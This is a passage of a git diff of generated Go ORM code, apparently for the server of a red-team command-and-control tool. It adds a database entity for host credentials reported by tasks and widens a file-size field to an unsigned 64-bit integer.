+	return withHooks(ctx, hcu.sqlSave, hcu.mutation, hcu.hooks)
+}
+
+// SaveX is like Save, but panics if an error occurs.
+func (hcu *HostCredentialUpdate) SaveX(ctx context.Context) int {
+	affected, err := hcu.Save(ctx)
+	if err != nil {
+		panic(err)
+	}
+	return affected
+}
+
+// Exec executes the query.
+func (hcu *HostCredentialUpdate) Exec(ctx context.Context) error {
+	_, err := hcu.Save(ctx)
+	return err
+}
+
+// ExecX is like Exec, but panics if an error occurs.
+func (hcu *HostCredentialUpdate) ExecX(ctx context.Context) {
+	if err := hcu.Exec(ctx); err != nil {
+		panic(err)
+	}
+}
+
+// defaults sets the default values of the builder before save.
+func (hcu *HostCredentialUpdate) defaults() {
+	if _, ok := hcu.mutation.LastModifiedAt(); !ok {
+		v := hostcredential.UpdateDefaultLastModifiedAt()
+		hcu.mutation.SetLastModifiedAt(v)
+	}
+}
+
+// check runs all checks and user-defined validators on the builder.
+func (hcu *HostCredentialUpdate) check() error {
+	if v, ok := hcu.mutation.Principal(); ok {
+		if err := hostcredential.PrincipalValidator(v); err != nil {
+			return &ValidationError{Name: "principal", err: fmt.Errorf(`ent: validator failed for field "HostCredential.principal": %w`, err)}
+		}
+	}
+	if v, ok := hcu.mutation.Secret(); ok {
+		if err := hostcredential.SecretValidator(v); err != nil {
+			return &ValidationError{Name: "secret", err: fmt.Errorf(`ent: validator failed for field "HostCredential.secret": %w`, err)}
+		}
+	}
+	if _, ok := hcu.mutation.HostID(); hcu.mutation.HostCleared() && !ok {
+		return errors.New(`ent: clearing a required unique edge "HostCredential.host"`)
+	}
+	if _, ok := hcu.mutation.TaskID(); hcu.mutation.TaskCleared() && !ok {
+		return errors.New(`ent: clearing a required unique edge "HostCredential.task"`)
+	}
+	return nil
+}
+
+func (hcu *HostCredentialUpdate) sqlSave(ctx context.Context) (n int, err error) {
+	if err := hcu.check(); err != nil {
+		return n, err
+	}
+	_spec := sqlgraph.NewUpdateSpec(hostcredential.Table, hostcredential.Columns, sqlgraph.NewFieldSpec(hostcredential.FieldID, field.TypeInt))
+	if ps := hcu.mutation.predicates; len(ps) > 0 {
+		_spec.Predicate = func(selector *sql.Selector) {
+			for i := range ps {
+				ps[i](selector)
+			}
+		}
+	}
+	if value, ok := hcu.mutation.LastModifiedAt(); ok {
+		_spec.SetField(hostcredential.FieldLastModifiedAt, field.TypeTime, value)
+	}
+	if value, ok := hcu.mutation.Principal(); ok {
+		_spec.SetField(hostcredential.FieldPrincipal, field.TypeString, value)
+	}
+	if value, ok := hcu.mutation.Secret(); ok {
+		_spec.SetField(hostcredential.FieldSecret, field.TypeString, value)
+	}
+	if hcu.mutation.HostCleared() {
+		edge := &sqlgraph.EdgeSpec{
+			Rel:     sqlgraph.M2O,
+			Inverse: false,
+			Table:   hostcredential.HostTable,
+			Columns: []string{hostcredential.HostColumn},
+			Bidi:    false,
+			Target: &sqlgraph.EdgeTarget{
+				IDSpec: sqlgraph.NewFieldSpec(host.FieldID, field.TypeInt),
+			},
+		}
+		_spec.Edges.Clear = append(_spec.Edges.Clear, edge)
+	}
+	if nodes := hcu.mutation.HostIDs(); len(nodes) > 0 {
+		edge := &sqlgraph.EdgeSpec{
+			Rel:     sqlgraph.M2O,
+			Inverse: false,
+			Table:   hostcredential.HostTable,
+			Columns: []string{hostcredential.HostColumn},
+			Bidi:    false,
+			Target: &sqlgraph.EdgeTarget{
+				IDSpec: sqlgraph.NewFieldSpec(host.FieldID, field.TypeInt),
+			},
+		}
+		for _, k := range nodes {
+			edge.Target.Nodes = append(edge.Target.Nodes, k)
+		}
+		_spec.Edges.Add = append(_spec.Edges.Add, edge)
+	}
+	if hcu.mutation.TaskCleared() {
+		edge := &sqlgraph.EdgeSpec{
+			Rel:     sqlgraph.M2O,
+			Inverse: true,
+			Table:   hostcredential.TaskTable,
+			Columns: []string{hostcredential.TaskColumn},
+			Bidi:    false,
+			Target: &sqlgraph.EdgeTarget{
+				IDSpec: sqlgraph.NewFieldSpec(task.FieldID, field.TypeInt),
+			},
+		}
+		_spec.Edges.Clear = append(_spec.Edges.Clear, edge)
+	}
+	if nodes := hcu.mutation.TaskIDs(); len(nodes) > 0 {
+		edge := &sqlgraph.EdgeSpec{
+			Rel:     sqlgraph.M2O,
+			Inverse: true,
+			Table:   hostcredential.TaskTable,
+			Columns: []string{hostcredential.TaskColumn},
+			Bidi:    false,
+			Target: &sqlgraph.EdgeTarget{
+				IDSpec: sqlgraph.NewFieldSpec(task.FieldID, field.TypeInt),
+			},
+		}
+		for _, k := range nodes {
+			edge.Target.Nodes = append(edge.Target.Nodes, k)
+		}
+		_spec.Edges.Add = append(_spec.Edges.Add, edge)
+	}
+	if n, err = sqlgraph.UpdateNodes(ctx, hcu.driver, _spec); err != nil {
+		if _, ok := err.(*sqlgraph.NotFoundError); ok {
+			err = &NotFoundError{hostcredential.Label}
+		} else if sqlgraph.IsConstraintError(err) {
+			err = &ConstraintError{msg: err.Error(), wrap: err}
+		}
+		return 0, err
+	}
+	hcu.mutation.done = true
+	return n, nil
+}
+
+// HostCredentialUpdateOne is the builder for updating a single HostCredential entity.
+type HostCredentialUpdateOne struct {
+	config
+	fields   []string
+	hooks    []Hook
+	mutation *HostCredentialMutation
+}
+
+// SetLastModifiedAt sets the "last_modified_at" field.
+func (hcuo *HostCredentialUpdateOne) SetLastModifiedAt(t time.Time) *HostCredentialUpdateOne {
+	hcuo.mutation.SetLastModifiedAt(t)
+	return hcuo
+}
+
+// SetPrincipal sets the "principal" field.
+func (hcuo *HostCredentialUpdateOne) SetPrincipal(s string) *HostCredentialUpdateOne {
+	hcuo.mutation.SetPrincipal(s)
+	return hcuo
+}
+
+// SetSecret sets the "secret" field.
+func (hcuo *HostCredentialUpdateOne) SetSecret(s string) *HostCredentialUpdateOne {
+	hcuo.mutation.SetSecret(s)
+	return hcuo
+}
+
+// SetHostID sets the "host" edge to the Host entity by ID.
+func (hcuo *HostCredentialUpdateOne) SetHostID(id int) *HostCredentialUpdateOne {
+	hcuo.mutation.SetHostID(id)
+	return hcuo
+}
+
+// SetHost sets the "host" edge to the Host entity.
+func (hcuo *HostCredentialUpdateOne) SetHost(h *Host) *HostCredentialUpdateOne {
+	return hcuo.SetHostID(h.ID)
+}
+
+// SetTaskID sets the "task" edge to the Task entity by ID.
+func (hcuo *HostCredentialUpdateOne) SetTaskID(id int) *HostCredentialUpdateOne {
+	hcuo.mutation.SetTaskID(id)
+	return hcuo
+}
+
+// SetTask sets the "task" edge to the Task entity.
+func (hcuo *HostCredentialUpdateOne) SetTask(t *Task) *HostCredentialUpdateOne {
+	return hcuo.SetTaskID(t.ID)
+}
+
+// Mutation returns the HostCredentialMutation object of the builder.
+func (hcuo *HostCredentialUpdateOne) Mutation() *HostCredentialMutation {
+	return hcuo.mutation
+}
+
+// ClearHost clears the "host" edge to the Host entity.
+func (hcuo *HostCredentialUpdateOne) ClearHost() *HostCredentialUpdateOne {
+	hcuo.mutation.ClearHost()
+	return hcuo
+}
+
+// ClearTask clears the "task" edge to the Task entity.
+func (hcuo *HostCredentialUpdateOne) ClearTask() *HostCredentialUpdateOne {
+	hcuo.mutation.ClearTask()
+	return hcuo
+}
+
+// Where appends a list predicates to the HostCredentialUpdate builder.
+func (hcuo *HostCredentialUpdateOne) Where(ps ...predicate.HostCredential) *HostCredentialUpdateOne {
+	hcuo.mutation.Where(ps...)
+	return hcuo
+}
+
+// Select allows selecting one or more fields (columns) of the returned entity.
+// The default is selecting all fields defined in the entity schema.
+func (hcuo *HostCredentialUpdateOne) Select(field string, fields ...string) *HostCredentialUpdateOne {
+	hcuo.fields = append([]string{field}, fields...)
+	return hcuo
+}
+
+// Save executes the query and returns the updated HostCredential entity.
+func (hcuo *HostCredentialUpdateOne) Save(ctx context.Context) (*HostCredential, error) {
+	hcuo.defaults()
+	return withHooks(ctx, hcuo.sqlSave, hcuo.mutation, hcuo.hooks)
+}
+
+// SaveX is like Save, but panics if an error occurs.
+func (hcuo *HostCredentialUpdateOne) SaveX(ctx context.Context) *HostCredential {
+	node, err := hcuo.Save(ctx)
+	if err != nil {
+		panic(err)
+	}
+	return node
+}
+
+// Exec executes the query on the entity.
+func (hcuo *HostCredentialUpdateOne) Exec(ctx context.Context) error {
+	_, err := hcuo.Save(ctx)
+	return err
+}
+
+// ExecX is like Exec, but panics if an error occurs.
+func (hcuo *HostCredentialUpdateOne) ExecX(ctx context.Context) {
+	if err := hcuo.Exec(ctx); err != nil {
+		panic(err)
+	}
+}
+
+// defaults sets the default values of the builder before save.
+func (hcuo *HostCredentialUpdateOne) defaults() {
+	if _, ok := hcuo.mutation.LastModifiedAt(); !ok {
+		v := hostcredential.UpdateDefaultLastModifiedAt()
+		hcuo.mutation.SetLastModifiedAt(v)
+	}
+}
+
+// check runs all checks and user-defined validators on the builder.
+func (hcuo *HostCredentialUpdateOne) check() error {
+	if v, ok := hcuo.mutation.Principal(); ok {
+		if err := hostcredential.PrincipalValidator(v); err != nil {
+			return &ValidationError{Name: "principal", err: fmt.Errorf(`ent: validator failed for field "HostCredential.principal": %w`, err)}
+		}
+	}
+	if v, ok := hcuo.mutation.Secret(); ok {
+		if err := hostcredential.SecretValidator(v); err != nil {
+			return &ValidationError{Name: "secret", err: fmt.Errorf(`ent: validator failed for field "HostCredential.secret": %w`, err)}
+		}
+	}
+	if _, ok := hcuo.mutation.HostID(); hcuo.mutation.HostCleared() && !ok {
+		return errors.New(`ent: clearing a required unique edge "HostCredential.host"`)
+	}
+	if _, ok := hcuo.mutation.TaskID(); hcuo.mutation.TaskCleared() && !ok {
+		return errors.New(`ent: clearing a required unique edge "HostCredential.task"`)
+	}
+	return nil
+}
+
+func (hcuo *HostCredentialUpdateOne) sqlSave(ctx context.Context) (_node *HostCredential, err error) {
+	if err := hcuo.check(); err != nil {
+		return _node, err
+	}
+	_spec := sqlgraph.NewUpdateSpec(hostcredential.Table, hostcredential.Columns, sqlgraph.NewFieldSpec(hostcredential.FieldID, field.TypeInt))
+	id, ok := hcuo.mutation.ID()
+	if !ok {
+		return nil, &ValidationError{Name: "id", err: errors.New(`ent: missing "HostCredential.id" for update`)}
+	}
+	_spec.Node.ID.Value = id
+	if fields := hcuo.fields; len(fields) > 0 {
+		_spec.Node.Columns = make([]string, 0, len(fields))
+		_spec.Node.Columns = append(_spec.Node.Columns, hostcredential.FieldID)
+		for _, f := range fields {
+			if !hostcredential.ValidColumn(f) {
+				return nil, &ValidationError{Name: f, err: fmt.Errorf("ent: invalid field %q for query", f)}
+			}
+			if f != hostcredential.FieldID {
+				_spec.Node.Columns = append(_spec.Node.Columns, f)
+			}
+		}
+	}
+	if ps := hcuo.mutation.predicates; len(ps) > 0 {
+		_spec.Predicate = func(selector *sql.Selector) {
+			for i := range ps {
+				ps[i](selector)
+			}
+		}
+	}
+	if value, ok := hcuo.mutation.LastModifiedAt(); ok {
+		_spec.SetField(hostcredential.FieldLastModifiedAt, field.TypeTime, value)
+	}
+	if value, ok := hcuo.mutation.Principal(); ok {
+		_spec.SetField(hostcredential.FieldPrincipal, field.TypeString, value)
+	}
+	if value, ok := hcuo.mutation.Secret(); ok {
+		_spec.SetField(hostcredential.FieldSecret, field.TypeString, value)
+	}
+	if hcuo.mutation.HostCleared() {
+		edge := &sqlgraph.EdgeSpec{
+			Rel:     sqlgraph.M2O,
+			Inverse: false,
+			Table:   hostcredential.HostTable,
+			Columns: []string{hostcredential.HostColumn},
+			Bidi:    false,
+			Target: &sqlgraph.EdgeTarget{
+				IDSpec: sqlgraph.NewFieldSpec(host.FieldID, field.TypeInt),
+			},
+		}
+		_spec.Edges.Clear = append(_spec.Edges.Clear, edge)
+	}
+	if nodes := hcuo.mutation.HostIDs(); len(nodes) > 0 {
+		edge := &sqlgraph.EdgeSpec{
+			Rel:     sqlgraph.M2O,
+			Inverse: false,
+			Table:   hostcredential.HostTable,
+			Columns: []string{hostcredential.HostColumn},
+			Bidi:    false,
+			Target: &sqlgraph.EdgeTarget{
+				IDSpec: sqlgraph.NewFieldSpec(host.FieldID, field.TypeInt),
+			},
+		}
+		for _, k := range nodes {
+			edge.Target.Nodes = append(edge.Target.Nodes, k)
+		}
+		_spec.Edges.Add = append(_spec.Edges.Add, edge)
+	}
+	if hcuo.mutation.TaskCleared() {
+		edge := &sqlgraph.EdgeSpec{
+			Rel:     sqlgraph.M2O,
+			Inverse: true,
+			Table:   hostcredential.TaskTable,
+			Columns: []string{hostcredential.TaskColumn},
+			Bidi:    false,
+			Target: &sqlgraph.EdgeTarget{
+				IDSpec: sqlgraph.NewFieldSpec(task.FieldID, field.TypeInt),
+			},
+		}
+		_spec.Edges.Clear = append(_spec.Edges.Clear, edge)
+	}
+	if nodes := hcuo.mutation.TaskIDs(); len(nodes) > 0 {
+		edge := &sqlgraph.EdgeSpec{
+			Rel:     sqlgraph.M2O,
+			Inverse: true,
+			Table:   hostcredential.TaskTable,
+			Columns: []string{hostcredential.TaskColumn},
+			Bidi:    false,
+			Target: &sqlgraph.EdgeTarget{
+				IDSpec: sqlgraph.NewFieldSpec(task.FieldID, field.TypeInt),
+			},
+		}
+		for _, k := range nodes {
+			edge.Target.Nodes = append(edge.Target.Nodes, k)
+		}
+		_spec.Edges.Add = append(_spec.Edges.Add, edge)
+	}
+	_node = &HostCredential{config: hcuo.config}
+	_spec.Assign = _node.assignValues
+	_spec.ScanValues = _node.scanValues
+	if err = sqlgraph.UpdateNode(ctx, hcuo.driver, _spec); err != nil {
+		if _, ok := err.(*sqlgraph.NotFoundError); ok {
+			err = &NotFoundError{hostcredential.Label}
+		} else if sqlgraph.IsConstraintError(err) {
+			err = &ConstraintError{msg: err.Error(), wrap: err}
+		}
+		return nil, err
+	}
+	hcuo.mutation.done = true
+	return _node, nil
+}
diff --git a/tavern/internal/ent/hostfile.go b/tavern/internal/ent/hostfile.go
index 4eda82450..fac64d096 100644
--- a/tavern/internal/ent/hostfile.go
+++ b/tavern/internal/ent/hostfile.go
@@ -32,7 +32,7 @@ type HostFile struct {
 	// Permissions for the file on the host system.
 	Permissions string `json:"permissions,omitempty"`
 	// The size of the file in bytes
-	Size int `json:"size,omitempty"`
+	Size uint64 `json:"size,omitempty"`
 	// A SHA3-256 digest of the content field
 	Hash string `json:"hash,omitempty"`
 	// The content of the file
@@ -165,7 +165,7 @@ func (hf *HostFile) assignValues(columns []string, values []any) error {
 			if value, ok := values[i].(*sql.NullInt64); !ok {
 				return fmt.Errorf("unexpected type %T for field size", values[i])
 			} else if value.Valid {
-				hf.Size = int(value.Int64)
+				hf.Size = uint64(value.Int64)
 			}
 		case hostfile.FieldHash:
 			if value, ok := values[i].(*sql.NullString); !ok {
diff --git a/tavern/internal/ent/hostfile/hostfile.go b/tavern/internal/ent/hostfile/hostfile.go
index e4e64eb48..feb51d3ec 100644
--- a/tavern/internal/ent/hostfile/hostfile.go
+++ b/tavern/internal/ent/hostfile/hostfile.go
@@ -108,9 +108,9 @@ var (
 	// PathValidator is a validator for the "path" field. It is called by the builders before save.
 	PathValidator func(string) error
 	// DefaultSize holds the default value on creation for the "size" field.
-	DefaultSize int
+	DefaultSize uint64
 	// SizeValidator is a validator for the "size" field. It is called by the builders before save.
-	SizeValidator func(int) error
+	SizeValidator func(uint64) error
 	// HashValidator is a validator for the "hash" field. It is called by the builders before save.
 	HashValidator func(string) error
 )
diff --git a/tavern/internal/ent/hostfile/where.go b/tavern/internal/ent/hostfile/where.go
index 00e70e6c3..4b1f17cf5 100644
--- a/tavern/internal/ent/hostfile/where.go
+++ b/tavern/internal/ent/hostfile/where.go
@@ -86,7 +86,7 @@ func Permissions(v string) predicate.HostFile {
 }
 
 // Size applies equality check predicate on the "size" field. It's identical to SizeEQ.
-func Size(v int) predicate.HostFile {
+func Size(v uint64) predicate.HostFile {
 	return predicate.HostFile(sql.FieldEQ(FieldSize, v))
 }
 
@@ -471,42 +471,42 @@ func PermissionsContainsFold(v string) predicate.HostFile {
 }
 
 // SizeEQ applies the EQ predicate on the "size" field.
-func SizeEQ(v int) predicate.HostFile {
+func SizeEQ(v uint64) predicate.HostFile {
 	return predicate.HostFile(sql.FieldEQ(FieldSize, v))
 }
 
 // SizeNEQ applies the NEQ predicate on the "size" field.
-func SizeNEQ(v int) predicate.HostFile {
+func SizeNEQ(v uint64) predicate.HostFile {
 	return predicate.HostFile(sql.FieldNEQ(FieldSize, v))
 }
 
 // SizeIn applies the In predicate on the "size" field.
-func SizeIn(vs ...int) predicate.HostFile {
+func SizeIn(vs ...uint64) predicate.HostFile {
 	return predicate.HostFile(sql.FieldIn(FieldSize, vs...))
 }
 
 // SizeNotIn applies the NotIn predicate on the "size" field.
-func SizeNotIn(vs ...int) predicate.HostFile {
+func SizeNotIn(vs ...uint64) predicate.HostFile {
 	return predicate.HostFile(sql.FieldNotIn(FieldSize, vs...))
 }
 
 // SizeGT applies the GT predicate on the "size" field.
-func SizeGT(v int) predicate.HostFile {
+func SizeGT(v uint64) predicate.HostFile {
 	return predicate.HostFile(sql.FieldGT(FieldSize, v))
 }
 
 // SizeGTE applies the GTE predicate on the "size" field.
-func SizeGTE(v int) predicate.HostFile {
+func SizeGTE(v uint64) predicate.HostFile {
 	return predicate.HostFile(sql.FieldGTE(FieldSize, v))
 }
 
 // SizeLT applies the LT predicate on the "size" field.
-func SizeLT(v int) predicate.HostFile {
+func SizeLT(v uint64) predicate.HostFile {
 	return predicate.HostFile(sql.FieldLT(FieldSize, v))
 }
 
 // SizeLTE applies the LTE predicate on the "size" field.
-func SizeLTE(v int) predicate.HostFile {
+func SizeLTE(v uint64) predicate.HostFile {
 	return predicate.HostFile(sql.FieldLTE(FieldSize, v))
 }
 
diff --git a/tavern/internal/ent/hostfile_create.go b/tavern/internal/ent/hostfile_create.go
index a4ed40f9f..f32cda5e8 100644
--- a/tavern/internal/ent/hostfile_create.go
+++ b/tavern/internal/ent/hostfile_create.go
@@ -101,15 +101,15 @@ func (hfc *HostFileCreate) SetNillablePermissions(s *string) *HostFileCreate {
 }
 
 // SetSize sets the "size" field.
-func (hfc *HostFileCreate) SetSize(i int) *HostFileCreate {
-	hfc.mutation.SetSize(i)
+func (hfc *HostFileCreate) SetSize(u uint64) *HostFileCreate {
+	hfc.mutation.SetSize(u)
 	return hfc
 }
 
 // SetNillableSize sets the "size" field if the given value is not nil.
-func (hfc *HostFileCreate) SetNillableSize(i *int) *HostFileCreate {
-	if i != nil {
-		hfc.SetSize(*i)
+func (hfc *HostFileCreate) SetNillableSize(u *uint64) *HostFileCreate {
+	if u != nil {
+		hfc.SetSize(*u)
 	}
 	return hfc
 }
@@ -301,7 +301,7 @@ func (hfc *HostFileCreate) createSpec() (*HostFile, *sqlgraph.CreateSpec) {
 		_node.Permissions = value
 	}
 	if value, ok := hfc.mutation.Size(); ok {
-		_spec.SetField(hostfile.FieldSize, field.TypeInt, value)
+		_spec.SetField(hostfile.FieldSize, field.TypeUint64, value)
 		_node.Size = value
 	}
 	if value, ok := hfc.mutation.Hash(); ok {
@@ -477,7 +477,7 @@ func (u *HostFileUpsert) ClearPermissions() *HostFileUpsert {
 }
 
 // SetSize sets the "size" field.
-func (u *HostFileUpsert) SetSize(v int) *HostFileUpsert {
+func (u *HostFileUpsert) SetSize(v uint64) *HostFileUpsert {
 	u.Set(hostfile.FieldSize, v)
 	return u
 }
@@ -489,7 +489,7 @@ func (u *HostFileUpsert) UpdateSize() *HostFileUpsert {
 }
 
 // AddSize adds v to the "size" field.
-func (u *HostFileUpsert) AddSize(v int) *HostFileUpsert {
+func (u *HostFileUpsert) AddSize(v uint64) *HostFileUpsert {
 	u.Add(hostfile.FieldSize, v)
 	return u
 }
@@ -667,14 +667,14 @@ func (u *HostFileUpsertOne) ClearPermissions() *HostFileUpsertOne {
 }
 
 // SetSize sets the "size" field.
-func (u *HostFileUpsertOne) SetSize(v int) *HostFileUpsertOne {
+func (u *HostFileUpsertOne) SetSize(v uint64) *HostFileUpsertOne {
 	return u.Update(func(s *HostFileUpsert) {
 		s.SetSize(v)
 	})
 }
 
 // AddSize adds v to the "size" field.
-func (u *HostFileUpsertOne) AddSize(v int) *HostFileUpsertOne {
+func (u *HostFileUpsertOne) AddSize(v uint64) *HostFileUpsertOne {
 	return u.Update(func(s *HostFileUpsert) {
 		s.AddSize(v)
 	})
@@ -1032,14 +1032,14 @@ func (u *HostFileUpsertBulk) ClearPermissions() *HostFileUpsertBulk {
 }
 
 // SetSize sets the "size" field.
-func (u *HostFileUpsertBulk) SetSize(v int) *HostFileUpsertBulk {
+func (u *HostFileUpsertBulk) SetSize(v uint64) *HostFileUpsertBulk {
 	return u.Update(func(s *HostFileUpsert) {
 		s.SetSize(v)
 	})
 }
 
 // AddSize adds v to the "size" field.
-func (u *HostFileUpsertBulk) AddSize(v int) *HostFileUpsertBulk {
+func (u *HostFileUpsertBulk) AddSize(v uint64) *HostFileUpsertBulk {
 	return u.Update(func(s *HostFileUpsert) {
 		s.AddSize(v)
 	})
diff --git a/tavern/internal/ent/hostfile_update.go b/tavern/internal/ent/hostfile_update.go
index fba264e69..4e66fa2cf 100644
--- a/tavern/internal/ent/hostfile_update.go
+++ b/tavern/internal/ent/hostfile_update.go
@@ -103,23 +103,23 @@ func (hfu *HostFileUpdate) ClearPermissions() *HostFileUpdate {
 }
 
 // SetSize sets the "size" field.
-func (hfu *HostFileUpdate) SetSize(i int) *HostFileUpdate {
+func (hfu *HostFileUpdate) SetSize(u uint64) *HostFileUpdate {
 	hfu.mutation.ResetSize()
-	hfu.mutation.SetSize(i)
+	hfu.mutation.SetSize(u)
 	return hfu
 }
 
 // SetNillableSize sets the "size" field if the given value is not nil.
-func (hfu *HostFileUpdate) SetNillableSize(i *int) *HostFileUpdate {
-	if i != nil {
-		hfu.SetSize(*i)
+func (hfu *HostFileUpdate) SetNillableSize(u *uint64) *HostFileUpdate {
+	if u != nil {
+		hfu.SetSize(*u)
 	}
 	return hfu
 }
 
-// AddSize adds i to the "size" field.
-func (hfu *HostFileUpdate) AddSize(i int) *HostFileUpdate {
-	hfu.mutation.AddSize(i)
+// AddSize adds u to the "size" field.
+func (hfu *HostFileUpdate) AddSize(u int64) *HostFileUpdate {
+	hfu.mutation.AddSize(u)
 	return hfu
 }
 
@@ -299,10 +299,10 @@ func (hfu *HostFileUpdate) sqlSave(ctx context.Context) (n int, err error) {
 		_spec.ClearField(hostfile.FieldPermissions, field.TypeString)
 	}
 	if value, ok := hfu.mutation.Size(); ok {
-		_spec.SetField(hostfile.FieldSize, field.TypeInt, value)
+		_spec.SetField(hostfile.FieldSize, field.TypeUint64, value)
 	}
 	if value, ok := hfu.mutation.AddedSize(); ok {
-		_spec.AddField(hostfile.FieldSize, field.TypeInt, value)
+		_spec.AddField(hostfile.FieldSize, field.TypeUint64, value)
 	}
 	if value, ok := hfu.mutation.Hash(); ok {
 		_spec.SetField(hostfile.FieldHash, field.TypeString, value)
@@ -467,23 +467,23 @@ func (hfuo *HostFileUpdateOne) ClearPermissions() *HostFileUpdateOne {
 }
 
 // SetSize sets the "size" field.
-func (hfuo *HostFileUpdateOne) SetSize(i int) *HostFileUpdateOne {
+func (hfuo *HostFileUpdateOne) SetSize(u uint64) *HostFileUpdateOne {
 	hfuo.mutation.ResetSize()
-	hfuo.mutation.SetSize(i)
+	hfuo.mutation.SetSize(u)
 	return hfuo
 }
 
 // SetNillableSize sets the "size" field if the given value is not nil.
-func (hfuo *HostFileUpdateOne) SetNillableSize(i *int) *HostFileUpdateOne {
-	if i != nil {
-		hfuo.SetSize(*i)
+func (hfuo *HostFileUpdateOne) SetNillableSize(u *uint64) *HostFileUpdateOne {
+	if u != nil {
+		hfuo.SetSize(*u)
 	}
 	return hfuo
 }
 
-// AddSize adds i to the "size" field.
-func (hfuo *HostFileUpdateOne) AddSize(i int) *HostFileUpdateOne {
-	hfuo.mutation.AddSize(i)
+// AddSize adds u to the "size" field.
+func (hfuo *HostFileUpdateOne) AddSize(u int64) *HostFileUpdateOne {
+	hfuo.mutation.AddSize(u)
 	return hfuo
 }
 
@@ -693,10 +693,10 @@ func (hfuo *HostFileUpdateOne) sqlSave(ctx context.Context) (_node *HostFile, er
 		_spec.ClearField(hostfile.FieldPermissions, field.TypeString)
 	}
 	if value, ok := hfuo.mutation.Size(); ok {
-		_spec.SetField(hostfile.FieldSize, field.TypeInt, value)
+		_spec.SetField(hostfile.FieldSize, field.TypeUint64, value)
 	}
 	if value, ok := hfuo.mutation.AddedSize(); ok {
-		_spec.AddField(hostfile.FieldSize, field.TypeInt, value)
+		_spec.AddField(hostfile.FieldSize, field.TypeUint64, value)
 	}
 	if value, ok := hfuo.mutation.Hash(); ok {
 		_spec.SetField(hostfile.FieldHash, field.TypeString, value)
diff --git a/tavern/internal/ent/migrate/schema.go b/tavern/internal/ent/migrate/schema.go
index bfd89a375..8cc0deb3c 100644
--- a/tavern/internal/ent/migrate/schema.go
+++ b/tavern/internal/ent/migrate/schema.go
@@ -68,6 +68,36 @@ var (
 		Columns:    HostsColumns,
 		PrimaryKey: []*schema.Column{HostsColumns[0]},
 	}
+	// HostCredentialsColumns holds the columns for the "host_credentials" table.
+	HostCredentialsColumns = []*schema.Column{
+		{Name: "id", Type: field.TypeInt, Increment: true},
+		{Name: "created_at", Type: field.TypeTime},
+		{Name: "last_modified_at", Type: field.TypeTime},
+		{Name: "principal", Type: field.TypeString},
+		{Name: "secret", Type: field.TypeString, SchemaType: map[string]string{"mysql": "LONGTEXT"}},
+		{Name: "host_credential_host", Type: field.TypeInt},
+		{Name: "task_reported_credentials", Type: field.TypeInt},
+	}
+	// HostCredentialsTable holds the schema information for the "host_credentials" table.
+	HostCredentialsTable = &schema.Table{
+		Name:       "host_credentials",
+		Columns:    HostCredentialsColumns,
+		PrimaryKey: []*schema.Column{HostCredentialsColumns[0]},
+		ForeignKeys: []*schema.ForeignKey{
+			{
+				Symbol:     "host_credentials_hosts_host",
+				Columns:    []*schema.Column{HostCredentialsColumns[5]},
+				RefColumns: []*schema.Column{HostsColumns[0]},
+				OnDelete:   schema.Cascade,
+			},
+			{
+				Symbol:     "host_credentials_tasks_reported_credentials",
+				Columns:    []*schema.Column{HostCredentialsColumns[6]},
+				RefColumns: []*schema.Column{TasksColumns[0]},
+				OnDelete:   schema.NoAction,
+			},
+		},
+	}
 	// HostFilesColumns holds the columns for the "host_files" table.
 	HostFilesColumns = []*schema.Column{
 		{Name: "id", Type: field.TypeInt, Increment: true},
@@ -77,7 +107,7 @@ var (
 		{Name: "owner", Type: field.TypeString, Nullable: true},
 		{Name: "group", Type: field.TypeString, Nullable: true},
 		{Name: "permissions", Type: field.TypeString, Nullable: true},
-		{Name: "size", Type: field.TypeInt, Default: 0},
+		{Name: "size", Type: field.TypeUint64, Default: 0},
 		{Name: "hash", Type: field.TypeString, Nullable: true, Size: 100},
 		{Name: "content", Type: field.TypeBytes, Nullable: true},
 		{Name: "host_files", Type: field.TypeInt, Nullable: true},
@@ -338,6 +368,7 @@ var (
 		BeaconsTable,
 		FilesTable,
 		HostsTable,
+		HostCredentialsTable,
 		HostFilesTable,
 		HostProcessesTable,
 		QuestsTable,
@@ -352,6 +383,8 @@ var (
 
 func init() {
 	BeaconsTable.ForeignKeys[0].RefTable = HostsTable
+	HostCredentialsTable.ForeignKeys[0].RefTable = HostsTable
+	HostCredentialsTable.ForeignKeys[1].RefTable = TasksTable
 	HostFilesTable.ForeignKeys[0].RefTable = HostsTable
 	HostFilesTable.ForeignKeys[1].RefTable = HostsTable
 	HostFilesTable.ForeignKeys[2].RefTable = TasksTable
diff --git a/tavern/internal/ent/mutation.go b/tavern/internal/ent/mutation.go
index b18ee52b4..3757fa27f 100644
--- a/tavern/internal/ent/mutation.go
+++ b/tavern/internal/ent/mutation.go
@@ -16,6 +16,7 @@ import (
 	"realm.pub/tavern/internal/ent/beacon"
 	"realm.pub/tavern/internal/ent/file"
 	"realm.pub/tavern/internal/ent/host"
+	"realm.pub/tavern/internal/ent/hostcredential"
 	"realm.pub/tavern/internal/ent/hostfile"
 	"realm.pub/tavern/internal/ent/hostprocess"
 	"realm.pub/tavern/internal/ent/predicate"
@@ -35,16 +36,17 @@ const (
 	OpUpdateOne = ent.OpUpdateOne
 
 	// Node types.
-	TypeBeacon      = "Beacon"
-	TypeFile        = "File"
-	TypeHost        = "Host"
-	TypeHostFile    = "HostFile"
-	TypeHostProcess = "HostProcess"
-	TypeQuest       = "Quest"
-	TypeTag         = "Tag"
-	TypeTask        = "Task"
-	TypeTome        = "Tome"
-	TypeUser        = "User"
+	TypeBeacon         = "Beacon"
+	TypeFile           = "File"
+	TypeHost           = "Host"
+	TypeHostCredential = "HostCredential"
+	TypeHostFile       = "HostFile"
+	TypeHostProcess    = "HostProcess"
+	TypeQuest          = "Quest"
+	TypeTag            = "Tag"
+	TypeTask           = "Task"
+	TypeTome           = "Tome"
+	TypeUser           = "User"
 )
 
 // BeaconMutation represents an operation that mutates the Beacon nodes in the graph.
@@ -1747,32 +1749,35 @@ func (m *FileMutation) ResetEdge(name string) error {
 // HostMutation represents an operation that mutates the Host nodes in the graph.
 type HostMutation struct {
 	config
-	op               Op
-	typ              string
-	id               *int
-	created_at       *time.Time
-	last_modified_at *time.Time
-	identifier       *string
-	name             *string
-	primary_ip       *string
-	platform         *c2pb.Host_Platform
-	last_seen_at     *time.Time
-	clearedFields    map[string]struct{}
-	tags             map[int]struct{}
-	removedtags      map[int]struct{}
-	clearedtags      bool
-	beacons          map[int]struct{}
-	removedbeacons   map[int]struct{}
-	clearedbeacons   bool
-	files            map[int]struct{}
-	removedfiles     map[int]struct{}
-	clearedfiles     bool
-	processes        map[int]struct{}
-	removedprocesses map[int]struct{}
-	clearedprocesses bool
-	done             bool
